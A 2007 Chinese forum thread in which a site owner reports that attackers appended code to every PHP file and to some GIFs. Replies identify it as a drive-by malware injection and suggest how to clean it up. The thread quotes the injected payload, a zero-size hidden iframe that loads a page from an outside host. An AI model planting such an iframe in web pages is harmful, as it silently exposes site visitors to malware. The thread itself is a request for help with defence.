紧急求助：论坛被黑。。。。。。。。。。。。。。。。。

an766 · 发表于 2007-4-15 11:19:53

紧急求助：论坛被黑。。。。。。。。。。。。。。。。。

今天早上一登录论坛，发现FTP上的所有文件都被修改了，PHP文件的最后都被加入了一段代码，连GIF文件也增加了字节数，以下的那段代码，望朋友们帮忙解决!!谢谢!

<iframe src=http://wodehao448.jiazu.cn/du/index.htm width=0 height=0></iframe>

ftp00001 · 发表于 2007-4-15 11:37:51

你先要知道，是从哪方面黑你的？

sharpgun · 发表于 2007-4-15 12:11:58

被挂马了。

sharpgun · 发表于 2007-4-15 12:16:31

width=0 height=0

凡是浏览你论坛的客户，均会自动打开这个“http://wodehao448.jiazu.cn/du/index.htm”页面，为了不让人发觉，这个框的大小是0.

不是你的站有漏洞，就是通服务器其他站点有漏洞，上传一个后门就等于开了个FTP，目录间可以自由跳转。

估计是你的论坛流量比较大，挂马的话收集到的肉鸡会比较多。

先看看你站点中有没有陌生程序。如果实在找不到就联系空间商。让他重新分配服务器NTFS权限

an766 · 发表于 2007-4-15 14:22:48

		自动登录	找回密码
密码			立即注册